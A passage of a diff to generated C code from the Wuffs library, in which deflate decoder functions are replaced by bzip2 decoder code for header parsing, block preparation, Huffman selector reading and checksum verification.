++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 66u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_c8 != 90u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_c8 != 104u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if ((v_c8 < 49u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_max_incl_block_size = (((uint32_t)(((uint8_t)(v_c8 - 48u)))) * 100000u); ++ while (true) { ++ v_tag = 0u; ++ v_i = 0u; ++ while (v_i < 48u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; + } +- uint32_t t_0 = *iop_a_src++; +- v_b0 = t_0; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- self->private_impl.f_bits |= (v_b0 << (self->private_impl.f_n_bits & 3u)); +- self->private_impl.f_n_bits = ((self->private_impl.f_n_bits & 3u) + 8u); ++ v_tag <<= 1u; ++ v_tag |= ((uint64_t)((self->private_impl.f_bits >> 31u))); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- v_final = (self->private_impl.f_bits & 1u); +- v_type = ((self->private_impl.f_bits >> 1u) & 3u); +- self->private_impl.f_bits >>= 3u; +- self->private_impl.f_n_bits -= 3u; +- if (v_type == 0u) { ++ if (v_tag == 25779555029136u) { ++ break; ++ } else if (v_tag != 54156738319193u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_bzip2__decoder__prepare_block(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_block_size = 0u; ++ self->private_impl.f_decode_huffman_finished = false; ++ self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[0u] & 7u))]; ++ self->private_impl.f_decode_huffman_ticks = 50u; ++ self->private_impl.f_decode_huffman_section = 0u; ++ self->private_impl.f_decode_huffman_run_shift = 0u; ++ while ( ! self->private_impl.f_decode_huffman_finished) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_deflate__decoder__decode_uncompressed(self, a_dst, a_src); ++ v_status = wuffs_bzip2__decoder__decode_huffman_fast(self, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else if (v_type == 1u) { +- v_status = wuffs_deflate__decoder__init_fixed_huffman(self); +- if ( ! wuffs_base__status__is_ok(&v_status)) { ++ if (wuffs_base__status__is_error(&v_status)) { + status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; ++ goto exit; ++ } else if (self->private_impl.f_decode_huffman_finished) { ++ break; + } +- } else if (v_type == 2u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_deflate__decoder__init_dynamic_huffman(self, a_src); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_bzip2__decoder__decode_huffman_slow(self, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_block); ++ } ++ wuffs_bzip2__decoder__invert_bwt(self); ++ self->private_impl.f_block_checksum_have = 4294967295u; ++ if (self->private_impl.f_original_pointer >= self->private_impl.f_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } +- self->private_impl.f_end_of_block = false; +- while (true) { +- if (sizeof(void*) == 4u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_deflate__decoder__decode_huffman_fast32(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_deflate__decoder__decode_huffman_fast64(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; +- } +- if (self->private_impl.f_end_of_block) { +- goto label__outer__continue; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_deflate__decoder__decode_huffman_slow(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_flush_pointer = (self->private_data.f_bwt[self->private_impl.f_original_pointer] >> 12u); ++ self->private_impl.f_flush_repeat_count = 0u; ++ self->private_impl.f_flush_prev = 0u; ++ while (self->private_impl.f_block_size > 0u) { ++ wuffs_bzip2__decoder__flush_fast(self, a_dst); ++ if (self->private_impl.f_block_size <= 0u) { ++ break; + } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_bzip2__decoder__flush_slow(self, a_dst); + if (status.repr) { + goto suspend; + } +- if (self->private_impl.f_end_of_block) { +- goto label__outer__continue; ++ } ++ self->private_impl.f_block_checksum_have ^= 4294967295u; ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_block_checksum_have != self->private_impl.f_block_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_final_checksum_have = (self->private_impl.f_block_checksum_have ^ ((self->private_impl.f_final_checksum_have >> 31u) | ((uint32_t)(self->private_impl.f_final_checksum_have << 1u)))); ++ } ++ v_final_checksum_want = 0u; ++ v_i = 0u; ++ while (v_i < 32u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } ++ v_final_checksum_want <<= 1u; ++ v_final_checksum_want |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_final_checksum_have != v_final_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); ++ goto exit; + } + ++ goto ok; + ok: +- self->private_impl.p_decode_blocks[0] = 0; ++ self->private_impl.p_do_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_blocks[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_blocks[0].v_final = v_final; ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_i = v_i; ++ self->private_data.s_do_transform_io.v_tag = v_tag; ++ self->private_data.s_do_transform_io.v_final_checksum_want = v_final_checksum_want; + + goto exit; + exit: +@@ -34714,32 +34630,23 @@ wuffs_deflate__decoder__decode_blocks( + return status; + } + +-// -------- func deflate.decoder.decode_uncompressed ++// -------- func bzip2.decoder.prepare_block + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_uncompressed( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__prepare_block( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_length = 0; +- uint32_t v_n_copied = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_selector = 0; ++ uint32_t v_sel_ff = 0; ++ uint8_t v_movee = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -34751,387 +34658,287 @@ wuffs_deflate__decoder__decode_uncompressed( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_uncompressed[0]; ++ uint32_t coro_susp_point = self->private_impl.p_prepare_block; + if (coro_susp_point) { +- v_length = self->private_data.s_decode_uncompressed[0].v_length; ++ v_i = self->private_data.s_prepare_block.v_i; ++ v_selector = self->private_data.s_prepare_block.v_selector; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- self->private_impl.f_n_bits = 0u; +- self->private_impl.f_bits = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_uncompressed[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { ++ self->private_impl.f_block_checksum_want = 0u; ++ v_i = 0u; ++ while (v_i < 32u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_uncompressed[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_length = t_0; +- } +- if ((((v_length) & 0xFFFFu) + ((v_length) >> (32u - 16u))) != 65535u) { +- status = wuffs_base__make_status(wuffs_deflate__error__inconsistent_stored_block_length); +- goto exit; +- } +- v_length = ((v_length) & 0xFFFFu); +- while (true) { +- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_reader( +- &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); +- if (v_length <= v_n_copied) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- v_length -= v_n_copied; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- } else { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- } ++ self->private_impl.f_block_checksum_want <<= 1u; ++ self->private_impl.f_block_checksum_want |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- +- ok: +- self->private_impl.p_decode_uncompressed[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_uncompressed[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_uncompressed[0].v_length = v_length; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func deflate.decoder.init_fixed_huffman +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_fixed_huffman( +- wuffs_deflate__decoder* self) { +- uint32_t v_i = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- while (v_i < 144u) { +- self->private_data.f_code_lengths[v_i] = 8u; +- v_i += 1u; +- } +- while (v_i < 256u) { +- self->private_data.f_code_lengths[v_i] = 9u; +- v_i += 1u; +- } +- while (v_i < 280u) { +- self->private_data.f_code_lengths[v_i] = 7u; +- v_i += 1u; +- } +- while (v_i < 288u) { +- self->private_data.f_code_lengths[v_i] = 8u; +- v_i += 1u; +- } +- while (v_i < 320u) { +- self->private_data.f_code_lengths[v_i] = 5u; +- v_i += 1u; +- } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 0u, +- 0u, +- 288u, +- 257u); +- if (wuffs_base__status__is_error(&v_status)) { +- return v_status; +- } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 1u, +- 288u, +- 320u, +- 0u); +- if (wuffs_base__status__is_error(&v_status)) { +- return v_status; +- } +- return wuffs_base__make_status(NULL); +-} +- +-// -------- func deflate.decoder.init_dynamic_huffman +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_dynamic_huffman( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_b0 = 0; +- uint32_t v_n_lit = 0; +- uint32_t v_n_dist = 0; +- uint32_t v_n_clen = 0; +- uint32_t v_i = 0; +- uint32_t v_b1 = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_mask = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint32_t v_b2 = 0; +- uint32_t v_n_extra_bits = 0; +- uint8_t v_rep_symbol = 0; +- uint32_t v_rep_count = 0; +- uint32_t v_b3 = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_init_dynamic_huffman[0]; +- if (coro_susp_point) { +- v_bits = self->private_data.s_init_dynamic_huffman[0].v_bits; +- v_n_bits = self->private_data.s_init_dynamic_huffman[0].v_n_bits; +- v_n_lit = self->private_data.s_init_dynamic_huffman[0].v_n_lit; +- v_n_dist = self->private_data.s_init_dynamic_huffman[0].v_n_dist; +- v_n_clen = self->private_data.s_init_dynamic_huffman[0].v_n_clen; +- v_i = self->private_data.s_init_dynamic_huffman[0].v_i; +- v_mask = self->private_data.s_init_dynamic_huffman[0].v_mask; +- v_n_extra_bits = self->private_data.s_init_dynamic_huffman[0].v_n_extra_bits; +- v_rep_symbol = self->private_data.s_init_dynamic_huffman[0].v_rep_symbol; +- v_rep_count = self->private_data.s_init_dynamic_huffman[0].v_rep_count; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- while (v_n_bits < 14u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_0 = *iop_a_src++; +- v_b0 = t_0; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- v_bits |= (v_b0 << v_n_bits); +- v_n_bits += 8u; +- } +- v_n_lit = (((v_bits) & 0x1Fu) + 257u); +- if (v_n_lit > 286u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_literal_length_code_count); +- goto exit; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_bits >>= 5u; +- v_n_dist = (((v_bits) & 0x1Fu) + 1u); +- if (v_n_dist > 30u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance_code_count); ++ if ((self->private_impl.f_bits >> 31u) != 0u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__unsupported_block_randomization); + goto exit; + } +- v_bits >>= 5u; +- v_n_clen = (((v_bits) & 0xFu) + 4u); +- v_bits >>= 4u; +- v_n_bits -= 14u; ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ self->private_impl.f_original_pointer = 0u; + v_i = 0u; +- while (v_i < v_n_clen) { +- while (v_n_bits < 3u) { ++ while (v_i < 24u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_1 = *iop_a_src++; +- v_b1 = t_1; ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- v_bits |= (v_b1 << v_n_bits); +- v_n_bits += 8u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = ((uint8_t)((v_bits & 7u))); +- v_bits >>= 3u; +- v_n_bits -= 3u; ++ self->private_impl.f_original_pointer <<= 1u; ++ self->private_impl.f_original_pointer |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; + v_i += 1u; + } +- while (v_i < 19u) { +- self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = 0u; ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_presence[v_i] = 0u; + v_i += 1u; + } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 0u, +- 0u, +- 19u, +- 4095u); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; +- } +- v_mask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); + v_i = 0u; +- while (v_i < (v_n_lit + v_n_dist)) { +- while (true) { +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_mask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; +- } ++ while (v_i < 256u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_2 = *iop_a_src++; +- v_b2 = t_2; ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; + } +- v_bits |= (v_b2 << v_n_bits); +- v_n_bits += 8u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- if ((v_table_entry >> 24u) != 128u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ if ((self->private_impl.f_bits >> 31u) != 0u) { ++ self->private_data.f_presence[v_i] = 1u; + } +- v_table_entry = ((v_table_entry >> 8u) & 255u); +- if (v_table_entry < 16u) { +- self->private_data.f_code_lengths[v_i] = ((uint8_t)(v_table_entry)); +- v_i += 1u; ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 16u; ++ } ++ self->private_data.f_scratch = 0u; ++ v_i = 0u; ++ while (v_i < 256u) { ++ if (self->private_data.f_presence[v_i] == 0u) { ++ v_i += 16u; + continue; + } +- v_n_extra_bits = 0u; +- v_rep_symbol = 0u; +- v_rep_count = 0u; +- if (v_table_entry == 16u) { +- v_n_extra_bits = 2u; +- if (v_i <= 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_repetition); +- goto exit; ++ while (true) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ self->private_data.f_scratch += (self->private_impl.f_bits >> 31u); ++ self->private_data.f_presence[(v_i & 255u)] = ((uint8_t)((self->private_impl.f_bits >> 31u))); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; ++ if ((v_i & 15u) == 0u) { ++ break; + } +- v_rep_symbol = (self->private_data.f_code_lengths[(v_i - 1u)] & 15u); +- v_rep_count = 3u; +- } else if (v_table_entry == 17u) { +- v_n_extra_bits = 3u; +- v_rep_symbol = 0u; +- v_rep_count = 3u; +- } else if (v_table_entry == 18u) { +- v_n_extra_bits = 7u; +- v_rep_symbol = 0u; +- v_rep_count = 11u; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; + } +- while (v_n_bits < v_n_extra_bits) { ++ } ++ if ((self->private_data.f_scratch < 1u) || (256u < self->private_data.f_scratch)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_num_symbols = (self->private_data.f_scratch + 2u); ++ self->private_data.f_scratch = 0u; ++ v_i = 0u; ++ while (v_i < 3u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_3 = *iop_a_src++; +- v_b3 = t_3; ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } +- v_bits |= (v_b3 << v_n_bits); +- v_n_bits += 8u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_rep_count += ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_n_extra_bits)); +- v_bits >>= v_n_extra_bits; +- v_n_bits -= v_n_extra_bits; +- while (v_rep_count > 0u) { +- if (v_i >= (v_n_lit + v_n_dist)) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); +- goto exit; ++ self->private_data.f_scratch <<= 1u; ++ self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; ++ } ++ if ((self->private_data.f_scratch < 2u) || (6u < self->private_data.f_scratch)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_num_huffman_codes = self->private_data.f_scratch; ++ self->private_data.f_scratch = 0u; ++ v_i = 0u; ++ while (v_i < 15u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; + } +- self->private_data.f_code_lengths[v_i] = v_rep_symbol; +- v_i += 1u; +- v_rep_count -= 1u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } ++ self->private_data.f_scratch <<= 1u; ++ self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- if (v_i != (v_n_lit + v_n_dist)) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); ++ if ((self->private_data.f_scratch < 1u) || (18001u < self->private_data.f_scratch)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); + goto exit; + } +- if (self->private_data.f_code_lengths[256u] == 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__missing_end_of_block_code); +- goto exit; ++ self->private_impl.f_num_sections = self->private_data.f_scratch; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_huffman_codes) { ++ self->private_data.f_mtft[v_i] = ((uint8_t)(v_i)); ++ v_i += 1u; + } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 0u, +- 0u, +- v_n_lit, +- 257u); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_sections) { ++ v_selector = 0u; ++ while (true) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_c8 = t_7; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ if ((self->private_impl.f_bits >> 31u) == 0u) { ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ break; ++ } 